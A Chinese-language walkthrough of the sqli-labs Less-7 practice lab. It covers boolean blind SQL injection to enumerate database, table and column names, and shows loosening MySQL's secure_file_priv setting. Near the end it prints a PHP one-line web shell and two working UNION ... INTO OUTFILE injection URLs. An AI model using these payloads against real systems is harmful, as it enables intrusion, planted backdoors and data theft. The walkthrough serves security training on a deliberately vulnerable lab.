sqli-labs-----第7关

布尔盲注和一句话木马

布尔盲注:页面只返回 true/false

判断注入类型

判断数据库名长度

  猜测数据库名

 

 

 

 

 得到数据库名为security

猜测数据库security中表的数量

 得到数据库中有4张表

 猜测表名

  

 

 ..................

得到security数据库中4个表名分别为emails,referers,uagents,users

猜测users表中字段数

 users表中字段数为3

 猜测每个字段名长度

 字段名长度分别为2,8,8

 猜测字段名

 第一个字段名:id

 

..................

得到第二个字段名:username

 

 

.................

得到第三个字段名:password 

 猜测username,password中数据

同样用burp suite抓包爆破

得到username,password的数据

完成

 

一句话木马

该关卡需要用到文件写入操作,所以需要开启MySQL中的文件写入
进入MySQL下的bin目录,用命令行连接数据库

查看是否开启文件写入

show variables like '%secure%';

 

需要修改secure_file_priv参数值

secure_file_priv='/'

NULL:限制mysql服务不允许导入/导出;

/tmp/:限制mysql的导入或导出只发生在/tmp/目录下;

没有具体值:不对mysql的导入/导出做限制

打开my.ini文件

 

查看修改是否成功

 

进行写入操作,写入一句话木马<?php @eval($_post['password']);?> 

 

用文件写入爆出数据库信息

http://sqli.com/Less-7/?id=1')) union select user(),database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) into outfile 'E:\\site\\phpStudy_64\\phpstudy_pro\\WWW\\sqli\\Less-7\\1.txt' --+

 

 

http://sqli.com/Less-7/?id=1')) union select version(),@@version_compile_os,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') into outfile 'E:\\site\\phpStudy_64\\phpstudy_pro\\WWW\\sqli\\Less-7\\2.txt' --+

 完成!!!